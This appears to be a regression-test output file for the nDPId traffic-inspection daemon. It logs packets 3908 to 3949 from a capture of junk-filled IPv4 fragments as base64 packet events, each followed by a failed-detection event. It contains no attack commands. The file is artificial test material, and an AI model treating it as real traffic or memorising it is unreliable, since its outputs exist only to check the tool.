+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347428,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347440,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347459,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347472,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347482,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347495,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347508,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347525,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347535,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347548,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347561,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347574,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347588,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347598,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347611,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347627,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347640,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347654,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347667,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347680,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347693,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347706,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347721,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347734,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347747,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347762,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347775,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347788,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347802,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347816,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347829,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347842,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347855,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347870,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347883,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347896,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347909,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347922,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347934,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347947,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347957,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347968,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 